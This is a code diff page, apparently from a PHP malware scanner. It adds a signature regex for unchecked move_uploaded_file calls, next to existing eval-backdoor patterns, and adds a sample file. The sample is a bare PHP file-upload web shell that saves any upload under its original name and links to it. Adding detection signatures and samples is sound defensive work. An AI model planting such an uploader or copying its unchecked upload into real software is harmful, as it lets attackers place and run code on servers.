File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -3510,6 +3510,7 @@ class Signatures
35103510 'preg_match\\("/\\$engines/"\\s*,\\s*\\$_SERVER',
35113511 'preg_match\\("/\\$spider/"\\s*,\\s*\\$uagent',
35123512 'echo\\s*eval\\s*/\\*\\*/\\s*\\(\'\\?>\'\\s*\\.\\s*join\\(""\\s*,\\s*file',
3513+ 'move_uploaded_file.*\\$_FILES\\["filename"\\]\\["tmp_name"\\].*\\$_FILES\\["filename"\\]\\["name"\\]',
35133514 ];
35143515
35153516 /**
Original file line number Diff line number Diff line change 1+ <html>
2+ <head>
3+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
4+ <title><?php echo $ _SERVER ['HTTP_HOST ' ]; ?> </title>
5+ </head>
6+ <body>
7+
8+
9+ <form method="post" enctype="multipart/form-data">
10+ <input type="file" name="filename">
11+ <input type="submit" value="submit">
12+ </form>
13+
14+ <?php
15+ if (is_uploaded_file ($ _FILES ['filename ' ]['tmp_name ' ])) {
16+ move_uploaded_file ($ _FILES ['filename ' ]['tmp_name ' ], $ _FILES ['filename ' ]['name ' ]);
17+ $ file = $ _FILES ['filename ' ]['name ' ];
18+ echo "<a href= \"$ file \"> $ file</a> " ;
19+ }
20+ ?>
21+ </body>
22+ </html>
You can’t perform that action at this time.
0 commit comments